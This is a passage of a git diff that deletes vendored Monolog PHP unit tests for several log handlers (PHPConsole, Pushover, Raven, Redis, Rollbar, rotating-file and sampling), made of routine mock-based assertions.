testDebugContextInMessage() - { - $message = 'test'; - $tag = 'tag'; - $context = array($tag, 'custom' => mt_rand()); - $expectedMessage = $message . ' ' . json_encode(array_slice($context, 1)); - $this->debugDispatcher->expects($this->once())->method('dispatchDebug')->with( - $this->equalTo($expectedMessage), - $this->equalTo($tag) - ); - $this->initLogger()->addDebug($message, $context); - } - - public function testDebugTags($tagsContextKeys = null) - { - $expectedTags = mt_rand(); - $logger = $this->initLogger($tagsContextKeys ? array('debugTagsKeysInContext' => $tagsContextKeys) : array()); - if (!$tagsContextKeys) { - $tagsContextKeys = $this->getHandlerDefaultOption('debugTagsKeysInContext'); - } - foreach ($tagsContextKeys as $key) { - $debugDispatcher = $this->initDebugDispatcherMock($this->connector); - $debugDispatcher->expects($this->once())->method('dispatchDebug')->with( - $this->anything(), - $this->equalTo($expectedTags) - ); - $this->connector->setDebugDispatcher($debugDispatcher); - $logger->addDebug('test', array($key => $expectedTags)); - } - } - - public function testError($classesPartialsTraceIgnore = null) - { - $code = E_USER_NOTICE; - $message = 'message'; - $file = __FILE__; - $line = __LINE__; - $this->errorDispatcher->expects($this->once())->method('dispatchError')->with( - $this->equalTo($code), - $this->equalTo($message), - $this->equalTo($file), - $this->equalTo($line), - $classesPartialsTraceIgnore ?: $this->equalTo($this->getHandlerDefaultOption('classesPartialsTraceIgnore')) - ); - $errorHandler = ErrorHandler::register($this->initLogger($classesPartialsTraceIgnore ? array('classesPartialsTraceIgnore' => $classesPartialsTraceIgnore) : array()), false); - $errorHandler->registerErrorHandler(array(), false, E_USER_WARNING); - $errorHandler->handleError($code, $message, $file, $line); - } - - public function testException() - { - $e = new Exception(); - $this->errorDispatcher->expects($this->once())->method('dispatchException')->with( - $this->equalTo($e) - ); - $handler = $this->initLogger(); - $handler->log( - \Psr\Log\LogLevel::ERROR, - sprintf('Uncaught Exception %s: "%s" at %s line %s', get_class($e), $e->getMessage(), $e->getFile(), $e->getLine()), - array('exception' => $e) - ); - } - - /** - * @expectedException Exception - */ - public function testWrongOptionsThrowsException() - { - new PHPConsoleHandler(array('xxx' => 1)); - } - - public function testOptionEnabled() - { - $this->debugDispatcher->expects($this->never())->method('dispatchDebug'); - $this->initLogger(array('enabled' => false))->addDebug('test'); - } - - public function testOptionClassesPartialsTraceIgnore() - { - $this->testError(array('Class', 'Namespace\\')); - } - - public function testOptionDebugTagsKeysInContext() - { - $this->testDebugTags(array('key1', 'key2')); - } - - public function testOptionUseOwnErrorsAndExceptionsHandler() - { - $this->initLogger(array('useOwnErrorsHandler' => true, 'useOwnExceptionsHandler' => true)); - $this->assertEquals(array(Handler::getInstance(), 'handleError'), set_error_handler(function () { - })); - $this->assertEquals(array(Handler::getInstance(), 'handleException'), set_exception_handler(function () { - })); - } - - public static function provideConnectorMethodsOptionsSets() - { - return array( - array('sourcesBasePath', 'setSourcesBasePath', __DIR__), - array('serverEncoding', 'setServerEncoding', 'cp1251'), - array('password', 'setPassword', '******'), - array('enableSslOnlyMode', 'enableSslOnlyMode', true, false), - array('ipMasks', 'setAllowedIpMasks', array('127.0.0.*')), - array('headersLimit', 'setHeadersLimit', 2500), - array('enableEvalListener', 'startEvalRequestsListener', true, false), - ); - } - - /** - * @dataProvider provideConnectorMethodsOptionsSets - */ - public function testOptionCallsConnectorMethod($option, $method, $value, $isArgument = true) - { - $expectCall = $this->connector->expects($this->once())->method($method); - if ($isArgument) { - $expectCall->with($value); - } - new PHPConsoleHandler(array($option => $value), $this->connector); - } - - public function testOptionDetectDumpTraceAndSource() - { - new PHPConsoleHandler(array('detectDumpTraceAndSource' => true), $this->connector); - $this->assertTrue($this->connector->getDebugDispatcher()->detectTraceAndSource); - } - - public static function provideDumperOptionsValues() - { - return array( - array('dumperLevelLimit', 'levelLimit', 1001), - array('dumperItemsCountLimit', 'itemsCountLimit', 1002), - array('dumperItemSizeLimit', 'itemSizeLimit', 1003), - array('dumperDumpSizeLimit', 'dumpSizeLimit', 1004), - array('dumperDetectCallbacks', 'detectCallbacks', true), - ); - } - - /** - * @dataProvider provideDumperOptionsValues - */ - public function testDumperOptions($option, $dumperProperty, $value) - { - new PHPConsoleHandler(array($option => $value), $this->connector); - $this->assertEquals($value, $this->connector->getDumper()->$dumperProperty); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/PsrHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/PsrHandlerTest.php deleted file mode 100644 index f531ef611f..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/PsrHandlerTest.php +++ /dev/null @@ -1,50 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @covers Monolog\Handler\PsrHandler::handle - */ -class PsrHandlerTest extends TestCase -{ - public function logLevelProvider() - { - $levels = array(); - $monologLogger = new Logger(''); - - foreach ($monologLogger->getLevels() as $levelName => $level) { - $levels[] = array($levelName, $level); - } - - return $levels; - } - - /** - * @dataProvider logLevelProvider - */ - public function testHandlesAllLevels($levelName, $level) - { - $message = 'Hello, world! ' . $level; - $context = array('foo' => 'bar', 'level' => $level); - - $psrLogger = $this->getMock('Psr\Log\NullLogger'); - $psrLogger->expects($this->once()) - ->method('log') - ->with(strtolower($levelName), $message, $context); - - $handler = new PsrHandler($psrLogger); - $handler->handle(array('level' => $level, 'level_name' => $levelName, 'message' => $message, 'context' => $context)); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/PushoverHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/PushoverHandlerTest.php deleted file mode 100644 index f60a69d916..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/PushoverHandlerTest.php +++ /dev/null @@ -1,141 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * Almost all examples (expected header, titles, messages) taken from - * https://www.pushover.net/api - * @author Sebastian Göttschkes - * @see https://www.pushover.net/api - */ -class PushoverHandlerTest extends TestCase -{ - private $res; - private $handler; - - public function testWriteHeader() - { - $this->createHandler(); - $this->handler->setHighPriorityLevel(Logger::EMERGENCY); // skip priority notifications - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/POST \/1\/messages.json HTTP\/1.1\\r\\nHost: api.pushover.net\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: \d{2,4}\\r\\n\\r\\n/', $content); - - return $content; - } - - /** - * @depends testWriteHeader - */ - public function testWriteContent($content) - { - $this->assertRegexp('/token=myToken&user=myUser&message=test1&title=Monolog×tamp=\d{10}$/', $content); - } - - public function testWriteWithComplexTitle() - { - $this->createHandler('myToken', 'myUser', 'Backup finished - SQL1'); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/title=Backup\+finished\+-\+SQL1/', $content); - } - - public function testWriteWithComplexMessage() - { - $this->createHandler(); - $this->handler->setHighPriorityLevel(Logger::EMERGENCY); // skip priority notifications - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'Backup of database "example" finished in 16 minutes.')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/message=Backup\+of\+database\+%22example%22\+finished\+in\+16\+minutes\./', $content); - } - - public function testWriteWithTooLongMessage() - { - $message = str_pad('test', 520, 'a'); - $this->createHandler(); - $this->handler->setHighPriorityLevel(Logger::EMERGENCY); // skip priority notifications - $this->handler->handle($this->getRecord(Logger::CRITICAL, $message)); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $expectedMessage = substr($message, 0, 505); - - $this->assertRegexp('/message=' . $expectedMessage . '&title/', $content); - } - - public function testWriteWithHighPriority() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/token=myToken&user=myUser&message=test1&title=Monolog×tamp=\d{10}&priority=1$/', $content); - } - - public function testWriteWithEmergencyPriority() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::EMERGENCY, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/token=myToken&user=myUser&message=test1&title=Monolog×tamp=\d{10}&priority=2&retry=30&expire=25200$/', $content); - } - - public function testWriteToMultipleUsers() - { - $this->createHandler('myToken', array('userA', 'userB')); - $this->handler->handle($this->getRecord(Logger::EMERGENCY, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/token=myToken&user=userA&message=test1&title=Monolog×tamp=\d{10}&priority=2&retry=30&expire=25200POST/', $content); - $this->assertRegexp('/token=myToken&user=userB&message=test1&title=Monolog×tamp=\d{10}&priority=2&retry=30&expire=25200$/', $content); - } - - private function createHandler($token = 'myToken', $user = 'myUser', $title = 'Monolog') - { - $constructorArgs = array($token, $user, $title); - $this->res = fopen('php://memory', 'a'); - $this->handler = $this->getMock( - '\Monolog\Handler\PushoverHandler', - array('fsockopen', 'streamSetTimeout', 'closeSocket'), - $constructorArgs - ); - - $reflectionProperty = new \ReflectionProperty('\Monolog\Handler\SocketHandler', 'connectionString'); - $reflectionProperty->setAccessible(true); - $reflectionProperty->setValue($this->handler, 'localhost:1234'); - - $this->handler->expects($this->any()) - ->method('fsockopen') - ->will($this->returnValue($this->res)); - $this->handler->expects($this->any()) - ->method('streamSetTimeout') - ->will($this->returnValue(true)); - $this->handler->expects($this->any()) - ->method('closeSocket') - ->will($this->returnValue(true)); - - $this->handler->setFormatter($this->getIdentityFormatter()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/RavenHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/RavenHandlerTest.php deleted file mode 100644 index d8448a6803..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/RavenHandlerTest.php +++ /dev/null @@ -1,255 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Formatter\LineFormatter; - -class RavenHandlerTest extends TestCase -{ - public function setUp() - { - if (!class_exists('Raven_Client')) { - $this->markTestSkipped('raven/raven not installed'); - } - - require_once __DIR__ . '/MockRavenClient.php'; - } - - /** - * @covers Monolog\Handler\RavenHandler::__construct - */ - public function testConstruct() - { - $handler = new RavenHandler($this->getRavenClient()); - $this->assertInstanceOf('Monolog\Handler\RavenHandler', $handler); - } - - protected function getHandler($ravenClient) - { - $handler = new RavenHandler($ravenClient); - - return $handler; - } - - protected function getRavenClient() - { - $dsn = 'http://43f6017361224d098402974103bfc53d:a6a0538fc2934ba2bed32e08741b2cd3@marca.python.live.cheggnet.com:9000/1'; - - return new MockRavenClient($dsn); - } - - public function testDebug() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - - $record = $this->getRecord(Logger::DEBUG, 'A test debug message'); - $handler->handle($record); - - $this->assertEquals($ravenClient::DEBUG, $ravenClient->lastData['level']); - $this->assertContains($record['message'], $ravenClient->lastData['message']); - } - - public function testWarning() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - - $record = $this->getRecord(Logger::WARNING, 'A test warning message'); - $handler->handle($record); - - $this->assertEquals($ravenClient::WARNING, $ravenClient->lastData['level']); - $this->assertContains($record['message'], $ravenClient->lastData['message']); - } - - public function testTag() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - - $tags = array(1, 2, 'foo'); - $record = $this->getRecord(Logger::INFO, 'test', array('tags' => $tags)); - $handler->handle($record); - - $this->assertEquals($tags, $ravenClient->lastData['tags']); - } - - public function testExtraParameters() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - - $checksum = '098f6bcd4621d373cade4e832627b4f6'; - $release = '05a671c66aefea124cc08b76ea6d30bb'; - $eventId = '31423'; - $record = $this->getRecord(Logger::INFO, 'test', array('checksum' => $checksum, 'release' => $release, 'event_id' => $eventId)); - $handler->handle($record); - - $this->assertEquals($checksum, $ravenClient->lastData['checksum']); - $this->assertEquals($release, $ravenClient->lastData['release']); - $this->assertEquals($eventId, $ravenClient->lastData['event_id']); - } - - public function testFingerprint() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - - $fingerprint = array('{{ default }}', 'other value'); - $record = $this->getRecord(Logger::INFO, 'test', array('fingerprint' => $fingerprint)); - $handler->handle($record); - - $this->assertEquals($fingerprint, $ravenClient->lastData['fingerprint']); - } - - public function testUserContext() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - - $recordWithNoContext = $this->getRecord(Logger::INFO, 'test with default user context'); - // set user context 'externally' - - $user = array( - 'id' => '123', - 'email' => 'test@test.com', - ); - - $recordWithContext = $this->getRecord(Logger::INFO, 'test', array('user' => $user)); - - $ravenClient->user_context(array('id' => 'test_user_id')); - // handle context - $handler->handle($recordWithContext); - $this->assertEquals($user, $ravenClient->lastData['user']); - - // check to see if its reset - $handler->handle($recordWithNoContext); - $this->assertInternalType('array', $ravenClient->context->user); - $this->assertSame('test_user_id', $ravenClient->context->user['id']); - - // handle with null context - $ravenClient->user_context(null); - $handler->handle($recordWithContext); - $this->assertEquals($user, $ravenClient->lastData['user']); - - // check to see if its reset - $handler->handle($recordWithNoContext); - $this->assertNull($ravenClient->context->user); - } - - public function testException() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - - try { - $this->methodThatThrowsAnException(); - } catch (\Exception $e) { - $record = $this->getRecord(Logger::ERROR, $e->getMessage(), array('exception' => $e)); - $handler->handle($record); - } - - $this->assertEquals($record['message'], $ravenClient->lastData['message']); - } - - public function testHandleBatch() - { - $records = $this->getMultipleRecords(); - $records[] = $this->getRecord(Logger::WARNING, 'warning'); - $records[] = $this->getRecord(Logger::WARNING, 'warning'); - - $logFormatter = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $logFormatter->expects($this->once())->method('formatBatch'); - - $formatter = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $formatter->expects($this->once())->method('format')->with($this->callback(function ($record) { - return $record['level'] == 400; - })); - - $handler = $this->getHandler($this->getRavenClient()); - $handler->setBatchFormatter($logFormatter); - $handler->setFormatter($formatter); - $handler->handleBatch($records); - } - - public function testHandleBatchDoNothingIfRecordsAreBelowLevel() - { - $records = array( - $this->getRecord(Logger::DEBUG, 'debug message 1'), - $this->getRecord(Logger::DEBUG, 'debug message 2'), - $this->getRecord(Logger::INFO, 'information'), - ); - - $handler = $this->getMock('Monolog\Handler\RavenHandler', null, array($this->getRavenClient())); - $handler->expects($this->never())->method('handle'); - $handler->setLevel(Logger::ERROR); - $handler->handleBatch($records); - } - - public function testHandleBatchPicksProperMessage() - { - $records = array( - $this->getRecord(Logger::DEBUG, 'debug message 1'), - $this->getRecord(Logger::DEBUG, 'debug message 2'), - $this->getRecord(Logger::INFO, 'information 1'), - $this->getRecord(Logger::ERROR, 'error 1'), - $this->getRecord(Logger::WARNING, 'warning'), - $this->getRecord(Logger::ERROR, 'error 2'), - $this->getRecord(Logger::INFO, 'information 2'), - ); - - $logFormatter = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $logFormatter->expects($this->once())->method('formatBatch'); - - $formatter = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $formatter->expects($this->once())->method('format')->with($this->callback(function ($record) use ($records) { - return $record['message'] == 'error 1'; - })); - - $handler = $this->getHandler($this->getRavenClient()); - $handler->setBatchFormatter($logFormatter); - $handler->setFormatter($formatter); - $handler->handleBatch($records); - } - - public function testGetSetBatchFormatter() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - - $handler->setBatchFormatter($formatter = new LineFormatter()); - $this->assertSame($formatter, $handler->getBatchFormatter()); - } - - public function testRelease() - { - $ravenClient = $this->getRavenClient(); - $handler = $this->getHandler($ravenClient); - $release = 'v42.42.42'; - $handler->setRelease($release); - $record = $this->getRecord(Logger::INFO, 'test'); - $handler->handle($record); - $this->assertEquals($release, $ravenClient->lastData['release']); - - $localRelease = 'v41.41.41'; - $record = $this->getRecord(Logger::INFO, 'test', array('release' => $localRelease)); - $handler->handle($record); - $this->assertEquals($localRelease, $ravenClient->lastData['release']); - } - - private function methodThatThrowsAnException() - { - throw new \Exception('This is an exception'); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/RedisHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/RedisHandlerTest.php deleted file mode 100644 index 91f03922c8..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/RedisHandlerTest.php +++ /dev/null @@ -1,127 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Formatter\LineFormatter; - -class RedisHandlerTest extends TestCase -{ - /** - * @expectedException InvalidArgumentException - */ - public function testConstructorShouldThrowExceptionForInvalidRedis() - { - new RedisHandler(new \stdClass(), 'key'); - } - - public function testConstructorShouldWorkWithPredis() - { - $redis = $this->getMock('Predis\Client'); - $this->assertInstanceof('Monolog\Handler\RedisHandler', new RedisHandler($redis, 'key')); - } - - public function testConstructorShouldWorkWithRedis() - { - $redis = $this->getMock('Redis'); - $this->assertInstanceof('Monolog\Handler\RedisHandler', new RedisHandler($redis, 'key')); - } - - public function testPredisHandle() - { - $redis = $this->getMock('Predis\Client', array('rpush')); - - // Predis\Client uses rpush - $redis->expects($this->once()) - ->method('rpush') - ->with('key', 'test'); - - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $handler = new RedisHandler($redis, 'key'); - $handler->setFormatter(new LineFormatter("%message%")); - $handler->handle($record); - } - - public function testRedisHandle() - { - $redis = $this->getMock('Redis', array('rpush')); - - // Redis uses rPush - $redis->expects($this->once()) - ->method('rPush') - ->with('key', 'test'); - - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $handler = new RedisHandler($redis, 'key'); - $handler->setFormatter(new LineFormatter("%message%")); - $handler->handle($record); - } - - public function testRedisHandleCapped() - { - $redis = $this->getMock('Redis', array('multi', 'rpush', 'ltrim', 'exec')); - - // Redis uses multi - $redis->expects($this->once()) - ->method('multi') - ->will($this->returnSelf()); - - $redis->expects($this->once()) - ->method('rpush') - ->will($this->returnSelf()); - - $redis->expects($this->once()) - ->method('ltrim') - ->will($this->returnSelf()); - - $redis->expects($this->once()) - ->method('exec') - ->will($this->returnSelf()); - - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $handler = new RedisHandler($redis, 'key', Logger::DEBUG, true, 10); - $handler->setFormatter(new LineFormatter("%message%")); - $handler->handle($record); - } - - public function testPredisHandleCapped() - { - $redis = $this->getMock('Predis\Client', array('transaction')); - - $redisTransaction = $this->getMock('Predis\Client', array('rpush', 'ltrim')); - - $redisTransaction->expects($this->once()) - ->method('rpush') - ->will($this->returnSelf()); - - $redisTransaction->expects($this->once()) - ->method('ltrim') - ->will($this->returnSelf()); - - // Redis uses multi - $redis->expects($this->once()) - ->method('transaction') - ->will($this->returnCallback(function ($cb) use ($redisTransaction) { - $cb($redisTransaction); - })); - - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $handler = new RedisHandler($redis, 'key', Logger::DEBUG, true, 10); - $handler->setFormatter(new LineFormatter("%message%")); - $handler->handle($record); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/RollbarHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/RollbarHandlerTest.php deleted file mode 100644 index 0c9fd7b84e..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/RollbarHandlerTest.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Exception; -use Monolog\TestCase; -use Monolog\Logger; -use PHPUnit_Framework_MockObject_MockObject as MockObject; - -/** - * @author Erik Johansson - * @see https://rollbar.com/docs/notifier/rollbar-php/ - * - * @coversDefaultClass Monolog\Handler\RollbarHandler - */ -class RollbarHandlerTest extends TestCase -{ - /** - * @var MockObject - */ - private $rollbarNotifier; - - /** - * @var array - */ - public $reportedExceptionArguments = null; - - protected function setUp() - { - parent::setUp(); - - $this->setupRollbarNotifierMock(); - } - - /** - * When reporting exceptions to Rollbar the - * level has to be set in the payload data - */ - public function testExceptionLogLevel() - { - $handler = $this->createHandler(); - - $handler->handle($this->createExceptionRecord(Logger::DEBUG)); - - $this->assertEquals('debug', $this->reportedExceptionArguments['payload']['level']); - } - - private function setupRollbarNotifierMock() - { - $this->rollbarNotifier = $this->getMockBuilder('RollbarNotifier') - ->setMethods(array('report_message', 'report_exception', 'flush')) - ->getMock(); - - $that = $this; - - $this->rollbarNotifier - ->expects($this->any()) - ->method('report_exception') - ->willReturnCallback(function ($exception, $context, $payload) use ($that) { - $that->reportedExceptionArguments = compact('exception', 'context', 'payload'); - }); - } - - private function createHandler() - { - return new RollbarHandler($this->rollbarNotifier, Logger::DEBUG); - } - - private function createExceptionRecord($level = Logger::DEBUG, $message = 'test', $exception = null) - { - return $this->getRecord($level, $message, array( - 'exception' => $exception ?: new Exception() - )); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/RotatingFileHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/RotatingFileHandlerTest.php deleted file mode 100644 index fc1b6a9952..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/RotatingFileHandlerTest.php +++ /dev/null @@ -1,245 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use PHPUnit_Framework_Error_Deprecated; - -/** - * @covers Monolog\Handler\RotatingFileHandler - */ -class RotatingFileHandlerTest extends TestCase -{ - /** - * This var should be private but then the anonymous function - * in the `setUp` method won't be able to set it. `$this` cant't - * be used in the anonymous function in `setUp` because PHP 5.3 - * does not support it. - */ - public $lastError; - - public function setUp() - { - $dir = __DIR__.'/Fixtures'; - chmod($dir, 0777); - if (!is_writable($dir)) { - $this->markTestSkipped($dir.' must be writable to test the RotatingFileHandler.'); - } - $this->lastError = null; - $self = $this; - // workaround with &$self used for PHP 5.3 - set_error_handler(function($code, $message) use (&$self) { - $self->lastError = array( - 'code' => $code, - 'message' => $message, - ); - }); - } - - private function assertErrorWasTriggered($code, $message) - { - if (empty($this->lastError)) { - $this->fail( - sprintf( - 'Failed asserting that error with code `%d` and message `%s` was triggered', - $code, - $message - ) - ); - } - $this->assertEquals($code, $this->lastError['code'], sprintf('Expected an error with code %d to be triggered, got `%s` instead', $code, $this->lastError['code'])); - $this->assertEquals($message, $this->lastError['message'], sprintf('Expected an error with message `%d` to be triggered, got `%s` instead', $message, $this->lastError['message'])); - } - - public function testRotationCreatesNewFile() - { - touch(__DIR__.'/Fixtures/foo-'.date('Y-m-d', time() - 86400).'.rot'); - - $handler = new RotatingFileHandler(__DIR__.'/Fixtures/foo.rot'); - $handler->setFormatter($this->getIdentityFormatter()); - $handler->handle($this->getRecord()); - - $log = __DIR__.'/Fixtures/foo-'.date('Y-m-d').'.rot'; - $this->assertTrue(file_exists($log)); - $this->assertEquals('test', file_get_contents($log)); - } - - /** - * @dataProvider rotationTests - */ - public function testRotation($createFile, $dateFormat, $timeCallback) - { - touch($old1 = __DIR__.'/Fixtures/foo-'.date($dateFormat, $timeCallback(-1)).'.rot'); - touch($old2 = __DIR__.'/Fixtures/foo-'.date($dateFormat, $timeCallback(-2)).'.rot'); - touch($old3 = __DIR__.'/Fixtures/foo-'.date($dateFormat, $timeCallback(-3)).'.rot'); - touch($old4 = __DIR__.'/Fixtures/foo-'.date($dateFormat, $timeCallback(-4)).'.rot'); - - $log = __DIR__.'/Fixtures/foo-'.date($dateFormat).'.rot'; - - if ($createFile) { - touch($log); - } - - $handler = new RotatingFileHandler(__DIR__.'/Fixtures/foo.rot', 2); - $handler->setFormatter($this->getIdentityFormatter()); - $handler->setFilenameFormat('{filename}-{date}', $dateFormat); - $handler->handle($this->getRecord()); - - $handler->close(); - - $this->assertTrue(file_exists($log)); - $this->assertTrue(file_exists($old1)); - $this->assertEquals($createFile, file_exists($old2)); - $this->assertEquals($createFile, file_exists($old3)); - $this->assertEquals($createFile, file_exists($old4)); - $this->assertEquals('test', file_get_contents($log)); - } - - public function rotationTests() - { - $now = time(); - $dayCallback = function($ago) use ($now) { - return $now + 86400 * $ago; - }; - $monthCallback = function($ago) { - return gmmktime(0, 0, 0, date('n') + $ago, 1, date('Y')); - }; - $yearCallback = function($ago) { - return gmmktime(0, 0, 0, 1, 1, date('Y') + $ago); - }; - - return array( - 'Rotation is triggered when the file of the current day is not present' - => array(true, RotatingFileHandler::FILE_PER_DAY, $dayCallback), - 'Rotation is not triggered when the file of the current day is already present' - => array(false, RotatingFileHandler::FILE_PER_DAY, $dayCallback), - - 'Rotation is triggered when the file of the current month is not present' - => array(true, RotatingFileHandler::FILE_PER_MONTH, $monthCallback), - 'Rotation is not triggered when the file of the current month is already present' - => array(false, RotatingFileHandler::FILE_PER_MONTH, $monthCallback), - - 'Rotation is triggered when the file of the current year is not present' - => array(true, RotatingFileHandler::FILE_PER_YEAR, $yearCallback), - 'Rotation is not triggered when the file of the current year is already present' - => array(false, RotatingFileHandler::FILE_PER_YEAR, $yearCallback), - ); - } - - /** - * @dataProvider dateFormatProvider - */ - public function testAllowOnlyFixedDefinedDateFormats($dateFormat, $valid) - { - $handler = new RotatingFileHandler(__DIR__.'/Fixtures/foo.rot', 2); - $handler->setFilenameFormat('{filename}-{date}', $dateFormat); - if (!$valid) { - $this->assertErrorWasTriggered( - E_USER_DEPRECATED, - 'Invalid date format - format must be one of RotatingFileHandler::FILE_PER_DAY ("Y-m-d"), '. - 'RotatingFileHandler::FILE_PER_MONTH ("Y-m") or RotatingFileHandler::FILE_PER_YEAR ("Y"), '. - 'or you can set one of the date formats using slashes, underscores and/or dots instead of dashes.' - ); - } - } - - public function dateFormatProvider() - { - return array( - array(RotatingFileHandler::FILE_PER_DAY, true), - array(RotatingFileHandler::FILE_PER_MONTH, true), - array(RotatingFileHandler::FILE_PER_YEAR, true), - array('m-d-Y', false), - array('Y-m-d-h-i', false) - ); - } - - /** - * @dataProvider filenameFormatProvider - */ - public function testDisallowFilenameFormatsWithoutDate($filenameFormat, $valid) - { - $handler = new RotatingFileHandler(__DIR__.'/Fixtures/foo.rot', 2); - $handler->setFilenameFormat($filenameFormat, RotatingFileHandler::FILE_PER_DAY); - if (!$valid) { - $this->assertErrorWasTriggered( - E_USER_DEPRECATED, - 'Invalid filename format - format should contain at least `{date}`, because otherwise rotating is impossible.' - ); - } - } - - public function filenameFormatProvider() - { - return array( - array('{filename}', false), - array('{filename}-{date}', true), - array('{date}', true), - array('foobar-{date}', true), - array('foo-{date}-bar', true), - array('{date}-foobar', true), - array('foobar', false), - ); - } - - /** - * @dataProvider rotationWhenSimilarFilesExistTests - */ - public function testRotationWhenSimilarFileNamesExist($dateFormat) - { - touch($old1 = __DIR__.'/Fixtures/foo-foo-'.date($dateFormat).'.rot'); - touch($old2 = __DIR__.'/Fixtures/foo-bar-'.date($dateFormat).'.rot'); - - $log = __DIR__.'/Fixtures/foo-'.date($dateFormat).'.rot'; - - $handler = new RotatingFileHandler(__DIR__.'/Fixtures/foo.rot', 2); - $handler->setFormatter($this->getIdentityFormatter()); - $handler->setFilenameFormat('{filename}-{date}', $dateFormat); - $handler->handle($this->getRecord()); - $handler->close(); - - $this->assertTrue(file_exists($log)); - } - - public function rotationWhenSimilarFilesExistTests() - { - - return array( - 'Rotation is triggered when the file of the current day is not present but similar exists' - => array(RotatingFileHandler::FILE_PER_DAY), - - 'Rotation is triggered when the file of the current month is not present but similar exists' - => array(RotatingFileHandler::FILE_PER_MONTH), - - 'Rotation is triggered when the file of the current year is not present but similar exists' - => array(RotatingFileHandler::FILE_PER_YEAR), - ); - } - - public function testReuseCurrentFile() - { - $log = __DIR__.'/Fixtures/foo-'.date('Y-m-d').'.rot'; - file_put_contents($log, "foo"); - $handler = new RotatingFileHandler(__DIR__.'/Fixtures/foo.rot'); - $handler->setFormatter($this->getIdentityFormatter()); - $handler->handle($this->getRecord()); - $this->assertEquals('footest', file_get_contents($log)); - } - - public function tearDown() - { - foreach (glob(__DIR__.'/Fixtures/*.rot') as $file) { - unlink($file); - } - restore_error_handler(); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/SamplingHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/SamplingHandlerTest.php deleted file mode 100644 index b354cee179..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/SamplingHandlerTest.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; - -/** - * @covers Monolog\Handler\SamplingHandler::handle - */ -class SamplingHandlerTest extends TestCase -{ - public function testHandle() - { - $testHandler = new TestHandler(); - $handler = new SamplingHandler($testHandler, 2); - for ($i = 0; $i < 10000; $i++) { - $handler->handle($this->getRecord()); - } - $count = count($testHandler->getRecords()); - // $count should be half of 10k, so between 4k and 6k - $this->assertLessThan(6000, $count); - 